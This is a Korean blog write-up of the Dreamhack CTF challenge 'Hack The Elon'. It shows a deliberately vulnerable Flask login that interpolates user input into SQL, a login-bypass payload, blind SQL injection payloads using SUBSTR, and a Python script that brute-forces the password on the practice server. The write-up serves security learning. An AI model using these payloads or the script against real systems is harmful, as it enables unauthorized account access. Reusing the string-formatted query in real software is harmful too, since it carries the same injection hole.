카테고리 없음

[Dreamhack] Hack The Elon

melonbbang-ruffy 2025. 2. 23. 13:13

https://dreamhack.io/wargame/challenges/1809

 

Hack The Elon

이 문제는 제 30회 해킹캠프 박기범 - 웹 해킹의 첫 발걸음 실습 플랫폼에 출제된 문제입니다. Elon Musk의 비밀번호를 알아내어 부자가 되어 보아요. 비밀번호는 a, b, c, d, e 5개의 알파벳으로 이루

dreamhack.io

비밀번호를 알아내는게 핵심인듯

코드를 까 보자

code

더보기
import sqlite3
from flask import Flask, request, render_template_string

app = Flask(__name__)

def init_db():
    conn = sqlite3.connect('users.db')  # sqlite 데이터베이스 users.db에 테이블 생성
    cursor = conn.cursor()
    cursor.execute('''CREATE TABLE IF NOT EXISTS users (
                        id INTEGER PRIMARY KEY AUTOINCREMENT,
                        username TEXT UNIQUE NOT NULL,
                        password TEXT NOT NULL
                    )''')
    cursor.execute("INSERT OR IGNORE INTO users (username, password) VALUES ('elon', '(REDACTED숨겨진정보!)')")
    conn.commit()  # 사용자 -elon이라는 계정이 등록되어 있는데, 비밀번호는 숨겨져 있음
    conn.close()

# init_db()   
# init_db() 호출은 주석처리, 이미 db는 만들어져 등록된 상태
@app.route("/", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form.get("username", "")
        password = request.form.get("password", "")
        # 폼에서 username, password를 받아 처리함
        conn = sqlite3.connect('users.db')
        cursor = conn.cursor()

        query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
        # sql 인젝션 취약점 -> 사용자 입력값을 직접 문자열 포맷팅해서 sql 쿼리문에 삽입
        # sql 쿼리문에서 and는 or보다 우선순위가 높음
        # 즉, 쿼리문에서 and 문 먼저 처리한 후 or 문을 처리함 -> 뒤에 or 문이 있을 경우 where 조건이 참이 되어 우리가 원하는 값이 나올 수 있음
        # username = elon password = ' or '1'='1' --
        # 또는 elon' -- 이런 식으로 처리하는 방법도 있음
        cursor.execute(query)
        user = cursor.fetchone()
        conn.close()

        if user:
            return """
            <html>
                <head><title>Login Success</title></head>
                <body class="success">
                    <h2>로그인 성공!</h2>
                    <p>반가워요. 여기 플래그를 드릴게요.<br>HACKCAMP{ELON의비밀번호4자리_pW_bl1nd_wowow_but_swqpbabo}<br><br>설마 Blind SQL 기법으로 안푼건 아니죠... ㅋㅋㅋ</p>
                    <a href="/">돌아가기</a>
                </body>
            </html>
            """
        else:
            return """
            <html>
                <head><title>Login Failed</title></head>
                <body class="fail">
                    <h2>로그인 실패!</h2>
                    <p>아이디 또는 비밀번호가 잘못되었습니다.</p>
                    <a href="/">다시 시도하기</a>
                </body>
            </html>
            """

    return render_template_string("""
        <!DOCTYPE html>
        <html lang="ko">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Hack The Elon</title>
            <style>
                body {
                    font-family: Arial, sans-serif;
                    background-color: #1e1e1e;
                    color: white;
                    text-align: center;
                    padding: 50px;
                }
                .container {
                    width: 300px;
                    margin: auto;
                    padding: 20px;
                    background: #2e2e2e;
                    border-radius: 10px;
                    box-shadow: 0px 0px 10px rgba(255, 255, 255, 0.1);
                }
                input[type="text"], input[type="password"] {
                    width: 90%;
                    padding: 10px;
                    margin: 10px 0;
                    background: #444;
                    color: white;
                    border: 1px solid white;
                    border-radius: 5px;
                }
                input[type="submit"] {
                    width: 100%;
                    padding: 10px;
                    background: #28a745;
                    color: white;
                    border: none;
                    border-radius: 5px;
                    cursor: pointer;
                }
                input[type="submit"]:hover {
                    background: #218838;
                }
                .success {
                    color: #28a745;
                }
                .fail {
                    color: #dc3545;
                }
            </style>
        </head>
        <body>
            <div class="container">
                <h2>Hack The Elon</h2>
                <form method="POST">
                    <input type="text" name="username" placeholder="아이디" required><br>
                    <input type="password" name="password" placeholder="비밀번호" required><br>
                    <input type="submit" value="로그인">
                </form>
            </div>
        </body>
        </html>
    """)

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=31002, debug=True)

/ 경로에서 username과 password를 입력받고 있다.

사용자 입력값을 문자열 포맷팅 후 직접 sql 쿼리문에 넣기 때문에 sql injection 취약점을 이용해서 사용자 'elon'으로서 로그인을 시도할 수 있을듯하다.

Exploit

다음과 같은 payload를 작성해서 입력해 보았다.

username : elon
password : ' or '1'='1' --

역시 간단한 sql 인젝션으로 끝나는 문제가 아니었다.

Blind SQL 기법으로 elon의 비밀번호 4자리를 알아내야 될듯

다시 코드를 자세히 살펴보니 이미....로그인 성공 시 어떤 식으로 렌더링이 되는지 나와있었다. 이런

blind sql injection 을 이용해서 다시 익스플로잇 코드를 작성해보자.

※ payload

' OR (SELECT SUBSTR(password, 1, 1) FROM users WHERE username='elon') = 'a' -- 

' OR (SELECT SUBSTR(password, 2, 1) FROM users WHERE username='elon') = 'a' -- 

' OR (SELECT SUBSTR(password, 3, 1) FROM users WHERE username='elon') = 'a' -- 

' OR (SELECT SUBSTR(password, 4, 1) FROM users WHERE username='elon') = 'a' --

비밀번호는 a, b, c, d, e 이렇게 5글자로 이루어진 4자리라고 한다.

한자리 한자리씩 a, b, c, d, e를 넣어가며 쿼리문을 보냈을 때 서버의 리턴값을 확인하고(만약 해당 자리의 문자가 비밀번호의 그 자리의 문자와 일치할 경우 '로그인 성공' 이라는 표시가 뜸)각 자리에 어떤 문자가 들어와 있는지 확인하는 식으로 진행하면 될 듯 하다. 

Exploit

import requests

target_url = "http://host1.dreamhack.games:23911/"
password = ""
password_chars = ['a', 'b', 'c', 'd', 'e']

for pos in range(1, 5):
    found = False # 초기값 설정
    for char in password_chars:
        payload = f"' or (select substr(password, {pos}, 1) from users where username='elon') = '{char}' --"
        
        data = {
            "username": "elon",
            "password": payload
        }
        
        response = requests.post(target_url, data=data)
        
        if "로그인 성공" in response.text:
            password += char
            found = True
            break # 두 개의 for 문 중에서 for char in password_chars 반복문을 벗어남
        
    if not found:
        break
    
print(password)

위 코드를 실행해 보면

bdad라는 문자열이 튀어나온다.

위의 문자열을 HACKCAMP{ELON의비밀번호4자리_pW_bl1nd_wowow_but_swqpbabo} 여기에 넣어주면 될 듯 하다.